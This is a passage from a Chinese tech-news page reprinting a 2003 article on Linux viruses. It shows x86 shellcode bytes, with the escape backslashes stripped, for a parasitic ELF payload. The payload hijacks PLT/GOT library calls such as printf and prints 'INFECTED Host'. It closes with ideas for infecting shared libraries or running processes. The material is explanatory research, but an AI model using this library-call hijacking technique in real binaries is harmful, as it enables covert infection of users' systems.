天极传媒:
天极网
比特网
IT专家网
52PK游戏网
极客修
全国分站

北京上海广州深港南京福建沈阳成都杭州西安长春重庆大庆合肥惠州青岛郑州泰州厦门淄博天津无锡哈尔滨

产品
  • 网页
  • 产品
  • 图片
  • 报价
  • 下载
全高清投影机 净化器 4K电视曲面电视小家电滚筒洗衣机
您现在的位置: 天极网>新闻>

Linux系统下病毒的研究

天极论坛 2003-09-09 17:04 我要吐槽
  向回跳转到最初的入口:

  "xbdx00x80x04x08" /* movl $entry,%ebp */
  "xffxe5" /* jmp *%ebp */

  新的库调用:

  /* newcall: */

  获得将要输出的字符串地址:

  "xebx38" /* jmp msg_jmp */
  /* msg_call */
  "x59" /* popl %ecx */

  通过Linux系统调用输出字符串:

  "xb8x04x00x00x00" /* movl $4,%eax */
  "xbbx01x00x00x00" /* movl $1,%ebx */
  "xbax0ex00x00x00" /* movl $14,%edx */
  "xcdx80" /* int $0x80 */

  把旧的库调用恢复到PLT(GOT),以便我们调用:

  "xb8x00x00x00x00" /* movl $oldcall,%eax */
  "xa3x00x00x00x00" /* movl %eax,plt */

  获得原来的printf函数参数:

  "xffx75xfc" /* pushl -4(%ebp) */

  调用原来的库函数:

  "xffxd0" /* call *%eax */

  从PLT(GOT)保存原来的库调用。记住:完整对这个库函数的调用之后,PLT(GOT)的值可能会发生改变,以此我们每次都要保存它的值。实际上,只是在第一次调用之后,这个值会被修改(由动态连接器),但是我们不能掉以轻心。

  "xa1x00x00x00x00" /* movl plt,%eax */
  "xa3x00x00x00x00" /* movl %eax,oldcall */

  使PLT(GOT)指向新的库函数:

  "xc7x05x00x00x00" /* movl $newcall,plt */
  "x08x00x00x00x00"

  清理参数:

  "x58" /* popl %eax */

  恢复寄存器:

  "x61" /* popa */

  从函数返回:

  "xc3" /* ret */

  获得输出字符串的地址:

  /* msg_jmp */
  "xe8xc4xffxffxff" /* call msg_call */

  被输出的字符串:

  "INFECTED Host "

  5、将来的研究方向

  直接感染共享库可能可以实现库调用的重定向,这种方式的效果更为理想,因为这样可以影响所有使用被感染动态库的可执行目标文件。还有一种可能就是不修改可执行目标文件,而是修改程序运行时的进程影象。

作者:责任编辑:)
请关注天极网天极新媒体 最酷科技资讯
扫码赢大奖
评论
* 网友发言均非本站立场,本站不在评论栏推荐任何网店、经销商,谨防上当受骗!
笔记本手机数码家电